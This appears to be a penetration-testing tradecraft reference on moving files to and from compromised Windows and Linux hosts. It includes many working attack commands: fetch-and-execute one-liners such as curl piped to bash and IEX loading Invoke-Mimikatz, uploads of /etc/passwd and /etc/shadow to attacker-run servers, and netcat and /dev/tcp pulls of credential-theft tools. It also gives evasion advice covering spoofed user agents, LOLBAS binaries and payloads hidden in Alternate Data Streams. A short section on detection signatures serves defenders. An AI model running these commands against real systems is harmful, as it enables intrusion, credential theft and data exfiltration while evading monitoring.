ᛉ Yggdrasil

Tradecraft

File Transfer Techniques

15 Sep 2026 · 4,708 words · 21 min

Contents

A comprehensive, practical reference for moving files between Windows and Linux systems during administration, penetration testing, incident response, and CTF labs. Covers download and upload methods using HTTP/S, SMB, WebDAV, SCP, SFTP, FTP, TFTP, Netcat, Ncat, PowerShell, certutil, BITS, Python, PHP, Ruby, Perl, JavaScript, VBScript, Base64, OpenSSL, RDP drive sharing, Living off the Land binaries, and detection/evasion.


1. Core Concepts & Method Selection

File transfer is a core feature of any operating system, and many tools exist to achieve it. However, many of these tools may be blocked or monitored by diligent administrators. The key is understanding what protocols are permitted and what native binaries are available.

FILE TRANSFER DECISION FLOW:
──────────────────────────────────────────────────────────────────────
Need to move a file?
│
▼
┌──────────────────────────────┐
│ Is HTTP/HTTPS reachable?     │ ← python3 -m http.server, curl, wget
└──────────────────────────────┘
│ yes → Use HTTP download/upload (simplest in most environments)
▼
┌──────────────────────────────┐
│ Is SMB (TCP/445) reachable?  │ ← impacket-smbserver, smbclient, copy
└──────────────────────────────┘
│ yes → Use SMB share (very convenient for Windows targets)
▼
┌──────────────────────────────┐
│ Is SSH (TCP/22) available?   │ ← scp / sftp
└──────────────────────────────┘
│ yes → Use SCP or SFTP (best for encrypted, large transfers)
▼
┌──────────────────────────────┐
│ Fall back:                   │
│ nc / socat / ftp / tftp /    │ ← or base64/manual clipboard transfer
│ base64                       │
└──────────────────────────────┘

Key principles: - HTTP/HTTPS is the most common protocol allowed through firewalls. Use it first. - A real-world threat actor script was observed trying cURL → wget → Python in order, all over HTTP. This is a good mental model for fallback priority on Linux. - fileless methods (running in memory via pipe or IEX) avoid writing to disk, which bypasses many AV/EDR solutions. - Always verify file integrity with MD5/SHA256 after transfer — binary corruption from text-mode tools is a common silent failure.


2. Quick Method Matrix

Situation Best Choice Fallback
Linux download from your server wget / curl Python one-liner
Linux upload to your server curl -X POST / scp nc pipe
Windows download from your server Invoke-WebRequest / WebClient certutil, bitsadmin
Windows upload to your server SMB copy / PowerShell POST FTP, WebDAV
Secure encrypted transfer scp / sftp / OpenSSL HTTPS + uploadserver
No HTTP tools available SMB, nc, FTP, Base64 /dev/tcp (Linux)
Very large files SCP, SMB, BITS, split+compress HTTP
Restricted environment Base64, hex, /dev/tcp, VBS, certutil RDP drive share
In-memory only (fileless) curl \| bash, IEX (DownloadString) wget -qO- \| python3
Need to bypass user agent detection Invoke-WebRequest -UserAgent GfxDownloadWrapper.exe (LOLBAS)

3. Attack/Helper Server Setup

Stand up one of these before initiating any file transfer from the target side.

Python HTTP Server

# Python 3 (most common)
python3 -m http.server 8000

# Bind to a specific interface
python3 -m http.server 8000 --bind 192.168.1.2

# Python 2
python -m SimpleHTTPServer 8000

# PHP alternative
php -S 0.0.0.0:8000

# Ruby alternative
ruby -run -ehttpd . -p8000

Python Upload Server (accepts file uploads via POST)

# Install
pip3 install uploadserver

# Start (plain HTTP)
python3 -m uploadserver

# Start with HTTPS (self-signed cert)
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
# Upload endpoint: https://<ip>/upload

Impacket SMB Server

# Anonymous (may be blocked by newer Windows)
sudo impacket-smbserver share -smb2support /tmp/smbshare

# With credentials (works around guest-access blocks)
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

WebDAV Server

# Install dependencies
sudo pip3 install wsgidav cheroot

# Start (serves /tmp as WebDAV root)
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

FTP Server

# Install
sudo pip3 install pyftpdlib

# Read-only server on port 21
sudo python3 -m pyftpdlib --port 21

# Writable server (for uploads)
sudo python3 -m pyftpdlib --port 21 --write

Netcat Listener (receive a file)

nc -lvnp 4444 > received_file

OpenSSL Server (encrypted, nc-style)

# Generate cert
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

# Serve a file
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

4. Linux Download Methods

wget

# Basic download
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

# Background quiet download
wget -bq http://10.10.10.1:8000/tool.sh

# With HTTP credentials
wget --http-user=username --http-password=password http://10.10.10.1:8000/file

curl

# Download to file
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

# Quiet download
curl -s http://10.10.10.1:8000/tool.sh > tool.sh

# Fileless: download and pipe directly to bash
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

Python one-liners

# Python 2
python2.7 -c 'import urllib;urllib.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

# Python 3
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Fileless downloads (execute in memory, no file on disk)

# curl piped to bash
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

# wget piped to python3
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

Note: Some payloads like mkfifo still write temp files to disk. "Fileless" refers to the execution stage, not necessarily every stage.

Download with Bash /dev/tcp (no curl/wget needed)

# Step 1: open TCP connection to attacker server
exec 3<>/dev/tcp/10.10.10.32/80

# Step 2: send HTTP GET request
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

# Step 3: print the response
cat <&3

Requires Bash ≥ 2.04 compiled with --enable-net-redirections.

Base64 encode/decode (no network needed)

# On source machine: encode and print
md5sum id_rsa
cat id_rsa | base64 -w 0; echo

# On destination: paste and decode
echo -n 'LS0tLS1...' | base64 -d > id_rsa

# Verify integrity
md5sum id_rsa

5. Linux Upload Methods

curl POST upload (to uploadserver)

# Upload a single file
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' --insecure

# Upload multiple files at once
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

curl PUT upload (to Nginx)

curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt

SCP upload

# Upload a file
scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/

# Upload to non-standard port
scp -P 2222 /path/to/file user@10.10.10.10:/path/

# Upload a directory
scp -r /path/to/dir user@10.10.10.10:/path/

Python requests one-liner

python3 -c 'import requests; requests.post("http://192.168.49.128:8000/upload", files={"files": open("/etc/passwd","rb")})'

Stand up a web server on the target (pull from attack host)

# Python 3
python3 -m http.server

# Python 2.7
python2.7 -m SimpleHTTPServer

# PHP
php -S 0.0.0.0:8000

# Ruby
ruby -run -ehttpd . -p8000

# Then on your attack host, pull the file:
wget 192.168.49.128:8000/filetotransfer.txt

SCP upload

scp /etc/passwd user@10.10.10.10:/home/user/

6. Windows Download Methods

PowerShell — WebClient.DownloadFile

# Synchronous download
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')

# Async download
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerViewAsync.ps1')

PowerShell — DownloadString (fileless, in-memory execution)

# Execute directly from URL without touching disk
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')

# Pipeline alternative
(New-Object Net.WebClient).DownloadString('https://...') | IEX

PowerShell — Invoke-WebRequest (PowerShell 3.0+)

Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

# Bypass IE first-launch error
Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX

PowerShell — Bypass untrusted SSL certificate

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

PowerShell — Proxy-aware download

$proxy = New-Object System.Net.WebProxy("http://proxy.example.com:8080")
$proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$webClient = New-Object System.Net.WebClient
$webClient.Proxy = $proxy
$webClient.DownloadFile("http://10.10.10.1:8000/payload.exe", "C:\Windows\Temp\payload.exe")

certutil

# Download via URL cache
certutil -urlcache -split -f http://10.10.10.32/nc.exe nc.exe

# Alternative syntax
certutil -verifyctl -split -f http://10.10.10.32:8000/nc.exe

Note: AMSI currently detects certutil file downloads as malicious. Use cautiously in monitored environments.

BITS / bitsadmin

:: bitsadmin (legacy command-line)
bitsadmin /transfer myJob /download /priority high "http://10.10.10.32/nc.exe" "C:\Temp\nc.exe"
# PowerShell BITS transfer
Import-Module bitstransfer
Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"

# With credentials
Start-BitsTransfer -Source "http://..." -Destination "C:\..." -Authentication NTLM -Credential $cred

# Fileless-style: download, execute, then remove
Import-Module bitstransfer
Start-BitsTransfer 'http://10.10.10.32/nc.exe' $env:temp\t
$r = gc $env:temp\t
rm $env:temp\t
iex $r

PowerShell Base64 decode (no network required)

# Decode a base64 string and write as binary
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTi..."))

# Verify MD5 hash
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5

Note: Windows cmd.exe has a max string length of 8,191 characters — this method is limited for large files.

FTP download (scripted, for non-interactive shells)

echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
# PowerShell FTP
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

TFTP download (Windows 7 / Server 2008+)

:: Enable TFTP client feature
pkgmgr /iu:"TFTP"

:: Download
tftp -i 10.10.10.1 GET payload.exe

7. Windows Upload Methods

PowerShell Base64 encode and send to Netcat

# Encode file to base64 string
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

# Or use Get-FileHash for verification
Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash

# POST the base64 to a netcat listener
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
# On attack host: catch with netcat, then decode
nc -lvnp 8000
echo <base64_data> | base64 -d -w 0 > hosts

PowerShell web upload (PSUpload.ps1)

# Download and invoke the upload script
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

# Upload file to Python uploadserver
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

PowerShell FTP upload

(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

FTP upload (scripted)

echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

8. SMB Transfers

SMB (TCP/445) is very convenient for Windows-to-Linux and Windows-to-Windows transfers. It allows native copy, xcopy, robocopy, and Copy-Item usage.

Linux: Start Impacket SMB Server

# Anonymous (may fail on newer Windows — see below)
sudo impacket-smbserver share -smb2support /tmp/smbshare

# With credentials (bypasses unauthenticated guest block)
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Windows: Download from SMB

:: Copy directly
copy \\192.168.220.133\share\nc.exe

:: Map as drive letter (when direct copy is blocked)
net use n: \\192.168.220.133\share /user:test test
copy n:\nc.exe

Windows: Upload to SMB

copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\share\
Copy-Item -Path "C:\Windows\Temp\data.txt" -Destination "\\10.10.10.1\share\"

Linux: smbclient (bidirectional)

# List shares
smbclient -L \\\\10.10.10.10 -N

# Connect and get a file
smbclient \\\\10.10.10.10\\share -N
smb: \> get file.txt

# Connect and put a file
smbclient \\\\10.10.10.10\\share -N
smb: \> put /tmp/file.txt

9. WebDAV Transfers

WebDAV is SMB over HTTP/HTTPS — useful when TCP/445 is blocked but TCP/80/443 is open.

Linux: Start WebDAV server

sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

Windows: Access WebDAV share

:: Browse the share
dir \\192.168.49.128\DavWWWRoot

:: Upload via copy
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\DavWWWRoot\

:: Or upload to a specific subfolder
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\sharefolder\

Note: DavWWWRoot is a special Windows Shell keyword that connects to the WebDAV root. Use the actual subfolder name if you prefer (e.g., \\192.168.49.128\sharefolder).

Windows SMB will first try TCP/445, then fall back to HTTP/WebDAV automatically if no SMB share responds.


10. SCP and SFTP

SSH-based file copy — encrypted, reliable, and nearly always available where SSH is enabled.

Enable SSH on Linux

sudo systemctl enable ssh
sudo systemctl start ssh
netstat -lnpt | grep 22

SCP — download (pull to local)

scp user@10.10.10.10:/remote/file /local/path
scp plaintext@192.168.49.128:/root/myroot.txt .

SCP — upload (push to remote)

scp /etc/passwd user@10.10.10.10:/home/user/
scp -P 2222 /path/to/file user@10.10.10.10:/path/
scp -r /path/to/directory user@10.10.10.10:/path/

SCP — Windows to Linux

# Upload from Windows to Linux
scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip

# Download from Linux to Windows
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe

SFTP — interactive session

sftp user@10.10.10.10

# Inside the sftp prompt:
get /remote/file          # download
put /local/file           # upload
lcd /local/dir            # change local directory
cd /remote/dir            # change remote directory
ls                        # list remote files

Tip: Create a temporary user for transfers to avoid exposing primary credentials on remote machines.


11. Netcat and Ncat Transfers

Netcat (nc) and Ncat are versatile raw TCP tools for file transfer. Ncat is the modern rewrite by the Nmap Project with SSL, IPv6, and proxy support.

Method 1: Target listens, attacker sends

# On compromised target (listener):
nc -l -p 8000 > SharpKatz.exe

# With Ncat (auto-closes when done):
ncat -l -p 8000 --recv-only > SharpKatz.exe

# On attack host (sender):
nc -q 0 192.168.49.128 8000 < SharpKatz.exe

# With Ncat:
ncat --send-only 192.168.49.128 8000 < SharpKatz.exe

Method 2: Attacker listens, target connects (bypasses inbound firewall on target)

# On attack host (listener/sender):
sudo nc -l -p 443 -q 0 < SharpKatz.exe
sudo ncat -l -p 443 --send-only < SharpKatz.exe

# On compromised target (connects and receives):
nc 192.168.49.128 443 > SharpKatz.exe
ncat 192.168.49.128 443 --recv-only > SharpKatz.exe

Method 3: Use /dev/tcp when nc is not available on Linux

# On attack host (send file):
sudo nc -l -p 443 -q 0 < SharpKatz.exe

# On compromised target (receive without nc):
cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

12. FTP and TFTP

Linux — Start FTP server

# Read-only (downloads only)
sudo python3 -m pyftpdlib --port 21

# Writable (uploads enabled)
sudo python3 -m pyftpdlib --port 21 --write

Linux — FTP client

ftp 10.10.10.10
# Inside ftp prompt:
user anonymous anonymous
binary         # Always switch to binary mode for non-text files
put file_to_upload
get file_to_download
bye

Windows — FTP scripted (for non-interactive shells)

:: Download
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
:: Upload
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

Windows — PowerShell FTP

# Download
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

# Upload
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

TFTP (UDP, often on embedded/legacy systems)

# Linux server
atftpd --daemon --port 69 /tftp
:: Windows — enable TFTP client feature
pkgmgr /iu:"TFTP"

:: Download
tftp -i 10.10.10.1 GET payload.exe

:: Upload
tftp -i 10.10.10.1 PUT C:\Windows\Temp\data.txt

13. Base64 / Hex / Manual Transfer

Useful when network transfer is blocked or only a console/clipboard is available.

Linux Base64

# Encode (check MD5 first)
md5sum id_rsa
cat id_rsa | base64 -w 0; echo

# Decode
echo -n 'LS0tLS1...' | base64 -d > id_rsa

# Verify
md5sum id_rsa

Windows PowerShell Base64

# Encode to base64 (for exfil or manual transfer)
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Windows\Temp\data.exe")) | Out-File -Encoding ASCII data.b64
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

# Decode from base64
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJ..."))

# Verify
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5

Windows certutil encode/decode

:: Encode file to base64 text
certutil -encode payload.exe payload.txt

:: Decode base64 text back to binary
certutil -decode payload.txt payload.exe

Hex transfer (Linux)

# Source: produce hex string
xxd -p file | tr -d '\n'

# Destination: restore from hex
echo "hexoutput" | xxd -p -r > file

Alternate Data Streams on Windows (hide data inside a file)

# Write payload into ADS of a legitimate file
Set-Content -Path "C:\Windows\Temp\legit.txt:payload.exe" -Value (Get-Content -Path "C:\Windows\Temp\payload.exe" -Raw)

# Extract from ADS
Get-Content -Path "C:\Windows\Temp\legit.txt:payload.exe" -Raw > "C:\Windows\Temp\payload.exe"

14. Transferring Files with Code

Programming languages provide flexible, often unmonitored file transfer capabilities.

Python

# Python 2 download
python2.7 -c 'import urllib;urllib.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

# Python 3 download
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

# Python 3 upload (one-liner)
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

Full Python upload script:

import requests

URL = "http://192.168.49.128:8000/upload"
file = open("/etc/passwd", "rb")
r = requests.post(URL, files={"files": file})

PHP

# Download with file_get_contents + file_put_contents
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

# Download with fopen (streaming, lower memory)
php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

# Download and pipe to bash (fileless)
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Ruby

ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'

Perl

perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'

JavaScript (Windows — cscript.exe)

Create wget.js:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

VBScript (Windows — cscript.exe)

Create wget.vbs:

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1

15. Protected / Encrypted File Transfer

Transferring sensitive files in plaintext over a network risks interception and IDS detection.

Windows — AES Encryption with PowerShell (Invoke-AESEncryption.ps1)

# Import the script
Import-Module .\Invoke-AESEncryption.ps1

# Encrypt a file (produces file.txt.aes)
Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt

# Decrypt
Invoke-AESEncryption -Mode Decrypt -Key "p4ssw0rd" -Path .\scan-results.txt.aes

# Encrypt a string
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Text "Secret Text"

# Decrypt a base64 ciphertext
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Text "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs="

Use a unique, strong password for each engagement to prevent cross-client decryption if a file leaks.

Linux — OpenSSL File Encryption

# Encrypt with AES-256 and PBKDF2
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc

# Decrypt
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd

OpenSSL — Encrypted transfer (nc-style)

# On Pwnbox: generate cert
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

# Serve the file
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

# On compromised machine: download
openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

16. Catching Files Over HTTP/S (Nginx PUT)

A clean way to receive uploaded files without a Python uploadserver.

Step-by-step: Configure Nginx for file uploads

# 1. Create upload directory
sudo mkdir -p /var/www/uploads/SecretUploadDirectory

# 2. Set ownership to www-data
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory

# 3. Create Nginx config: /etc/nginx/sites-available/upload.conf
server {
    listen 9001;
    location /SecretUploadDirectory/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}

# 4. Symlink to sites-enabled
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/

# 5. Remove default config if port 80 is already taken
sudo rm /etc/nginx/sites-enabled/default

# 6. Start Nginx
sudo systemctl restart nginx.service

# 7. Check errors if any
tail -2 /var/log/nginx/error.log

# 8. Test upload
curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt

# 9. Verify file received
sudo tail -1 /var/www/uploads/SecretUploadDirectory/users.txt

Security note: Apache + PHP auto-executes PHP files, which can lead to remote code execution. Nginx does not execute PHP by default, making it safer for upload endpoints. Also verify directory listing is disabled.


17. Miscellaneous Methods (PowerShell Remoting, RDP)

PowerShell Remoting / WinRM

PowerShell Remoting (WinRM) creates HTTP (TCP/5985) and HTTPS (TCP/5986) listeners by default. Requires admin access or membership in Remote Management Users.

# Test connectivity from DC01 to DATABASE01
Test-NetConnection -ComputerName DATABASE01 -Port 5985

# Create a remote session
$Session = New-PSSession -ComputerName DATABASE01

# Copy file TO the remote session
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\

# Copy file FROM the remote session
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session

RDP Drive Redirection

Mount a local drive into an RDP session, making files accessible via \\tsclient\.

Windows mstsc.exe: Go to: Local Resources → More → Drives → select a drive → connect.

:: Inside the RDP session:
copy \\tsclient\C\tools\payload.exe C:\Windows\Temp\payload.exe

Linux rdesktop:

rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'

Linux xfreerdp:

xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer

Note: The mounted drive is only accessible to the user who initiated the RDP session — other logged-on users, including those who hijack the session, cannot access it.


18. Living Off the Land (LOLBAS / GTFOBins)

Living off the Land means using trusted, pre-installed OS binaries to perform operations like download, upload, execute, and read/write files — bypassing application whitelist controls.

Resources: - Windows (LOLBAS): https://lolbas-project.github.io/ — search /download or /upload - Linux (GTFOBins): https://gtfobins.github.io/ — search +file download or +file upload

LOLBAS — Windows Examples

CertReq.exe (upload via POST):

:: Upload win.ini to Netcat listener
certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini
# Receive on attack host with netcat
sudo nc -lvnp 8000

Bitsadmin:

bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe

CertUtil:

certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe

GfxDownloadWrapper.exe (Intel graphics driver binary — unusual, low-detection):

GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"

GTFOBins — Linux Examples

OpenSSL (file transfer, nc-style):

# Pwnbox: generate cert and serve file
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

# Compromised machine: download
openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

19. Detection — Known User Agents & Signatures

Defenders can detect file transfers by monitoring HTTP user-agent strings, which vary by tool. Network IDS and SIEM tools often alert on these default signatures.

Tool Default User-Agent
PowerShell Invoke-WebRequest Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0
WinHttpRequest Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Msxml2.XMLHTTP Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)
certutil Microsoft-CryptoAPI/10.0
BITS Microsoft BITS/7.8

Server-side detection snippets

# Invoke-WebRequest — server sees:
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0

# CertUtil — server sees:
GET /nc.exe HTTP/1.1
Cache-Control: no-cache
User-Agent: Microsoft-CryptoAPI/10.0

# BITS — server sees:
HEAD /nc.exe HTTP/1.1
User-Agent: Microsoft BITS/7.8

Command-line detection based on blacklisting is easy to bypass with case obfuscation. Whitelisting specific allowed command lines (though time-consuming to set up) is far more robust.


20. Evading Detection

Change PowerShell User-Agent

Invoke-WebRequest supports a -UserAgent parameter to impersonate common browsers.

# List all available user agents
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name, @{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl

# Available agents: InternetExplorer, FireFox, Chrome, Opera, Safari

# Download using Chrome user agent
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"
# What the server sees after spoofing Chrome:
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6 (KHTML, Like Gecko) Chrome/7.0.500.0 Safari/534.6

Use LOLBAS / GTFOBins binaries

Trusted OS binaries are generally not flagged by AV/EDR even when used for file transfer (see Section 18). Examples: certutil, bitsadmin, GfxDownloadWrapper.exe, openssl.

Use encrypted channels

  • HTTPS instead of HTTP prevents IDS from reading payload content.
  • OpenSSL tunnels (see Section 15) encrypt raw TCP streams.
  • SFTP/SCP are SSH-encrypted by default.

Use fileless techniques

Avoid writing to disk entirely:

# Windows: execute in memory
IEX (New-Object Net.WebClient).DownloadString('http://...')

# Linux: pipe to interpreter
curl http://... | bash
wget -qO- http://... | python3

21. Operational Notes & Safe Destinations

Common pitfalls

  • Firewalls blocking inbound listeners on the target — use the "attacker listens, target connects" flow.
  • AV/EDR flagging certutil, bitsadmin, or netcat binaries.
  • Missing write permissions in the target directory.
  • PowerShell execution policy blocking scripts — use -ExecutionPolicy Bypass or IEX to bypass.
  • Binary corruption if text-mode transfer is used for non-text files — always use binary mode in FTP.
  • PowerShell Invoke-WebRequest failing with an IE first-launch error — add -UseBasicParsing.
  • SSL certificate validation errors — add [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}.

Safe writable destinations

Windows:
  C:\Windows\Temp\
  C:\Users\Public\
  C:\Temp\
  %APPDATA%\

Linux:
  /tmp/
  /dev/shm/
  /var/tmp/

File integrity verification

Always verify transferred files to catch silent corruption.

# Linux
md5sum file
sha256sum file
# Windows PowerShell
Get-FileHash C:\Windows\Temp\payload.exe -Algorithm MD5
Get-FileHash C:\Windows\Temp\payload.exe -Algorithm SHA256

Compression and splitting for large files

# Compress
gzip -c file > file.gz
tar czf archive.tar.gz directory/

# Split into 5MB chunks
split -b 5M large_file part_

# Reassemble
cat part_* > large_file

